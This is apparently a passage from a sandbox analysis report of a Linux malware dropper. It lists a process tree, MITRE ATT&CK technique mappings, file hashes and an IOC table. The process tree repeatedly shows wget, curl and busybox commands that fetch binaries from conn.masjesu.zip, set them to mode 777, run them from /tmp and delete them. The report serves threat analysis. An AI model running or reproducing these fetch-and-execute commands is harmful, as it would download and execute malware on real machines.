  ./jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
  2⤵
  PID:979
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - System Network Configuration Discovery
  PID:980
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - System Network Configuration Discovery
  PID:983
- /bin/chmod
  chmod 777 BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - File and Directory Permissions Modification
  PID:984
- /tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  ./BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  - Executes dropped EXE
  PID:985
- /bin/rm
  rm BnR69ummojYGnWKwUkFLtzngeR0q8r752f
  2⤵
  PID:986
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - System Network Configuration Discovery
  PID:987
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:988
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - System Network Configuration Discovery
  PID:990
- /bin/chmod
  chmod 777 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - File and Directory Permissions Modification
  PID:991
- /tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  ./7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  - Executes dropped EXE
  PID:992
- /bin/rm
  rm 7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
  2⤵
  PID:993
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - System Network Configuration Discovery
  PID:994
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:995
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - System Network Configuration Discovery
  PID:997
- /bin/chmod
  chmod 777 b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - File and Directory Permissions Modification
  PID:998
- /tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  ./b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  - Executes dropped EXE
  PID:999
- /bin/rm
  rm b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
  2⤵
  PID:1000
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  PID:1001
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1002
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  PID:1004
- /bin/chmod
  chmod 777 vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - File and Directory Permissions Modification
  PID:1005
- /tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  ./vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  - Executes dropped EXE
  PID:1006
- /bin/rm
  rm vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
  2⤵
  PID:1007
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - System Network Configuration Discovery
  PID:1008
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1009
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  PID:1011
- /bin/chmod
  chmod 777 Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - File and Directory Permissions Modification
  PID:1012
- /tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  ./Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  - Executes dropped EXE
  PID:1013
- /bin/rm
  rm Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
  2⤵
  PID:1014
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - System Network Configuration Discovery
  PID:1015
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1016
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  PID:1018
- /bin/chmod
  chmod 777 x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - File and Directory Permissions Modification
  PID:1019
- /tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  ./x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  - Executes dropped EXE
  PID:1020
- /bin/rm
  rm x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
  2⤵
  PID:1021

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9

Path /tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9	753	Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
/tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe	760	x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe
/tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov	780	7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
/tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA	813	b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
/tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE	826	vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
/tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2	836	71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
/tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye	860	IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
/tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm	880	7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
/tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq	887	eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
/tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX	894	QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
/tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC	901	jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
/tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f	908	BnR69ummojYGnWKwUkFLtzngeR0q8r752f
/tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ	915	y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
/tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC	922	2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
/tmp/71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2	929	71Fjh0PtQnfcmwCZ3ljiACmTZRRU1ZmVH2
/tmp/IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye	936	IuhOVYEQ0pkXz3owszq73W7YvgugqNMdye
/tmp/QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX	943	QL0ejgyGmrO5gQl3euYJyRTLN6qBoJrECX
/tmp/7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm	950	7v2gz6hBa0gW3jeu8W8liu3b06wcTVudrm
/tmp/eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq	957	eCKWrol6nzETpdEVzaDVhWUinBnT4DdcCq
/tmp/y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ	964	y8fFBCMLgcZaldMFexiwibjOLwT6uzdeYQ
/tmp/2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC	971	2jE8VbIMP6PPaXPlOLlWPgE5BQFJXNW5MC
/tmp/jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC	978	jZc2hPooO9XiCFtk7qqEhcJQYvyNoA5vsC
/tmp/BnR69ummojYGnWKwUkFLtzngeR0q8r752f	985	BnR69ummojYGnWKwUkFLtzngeR0q8r752f
/tmp/7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov	992	7vWo2p6gZmP07KorcifVNRyEHuVXlSfeov
/tmp/b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA	999	b6ZlKydfFmZSRBvGK51VMaSEaQt93buGmA
/tmp/vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE	1006	vf2zNvBNLfm9X6sEL3FsqGY99oNuvRgKdE
/tmp/Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9	1013	Wk0Spn5ZDgTV8SsnWSusIR5al9Fu7FS9y9
/tmp/x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe	1020	x3UkUZWQxB3pE96DSJNynbc9HXKqytvnhe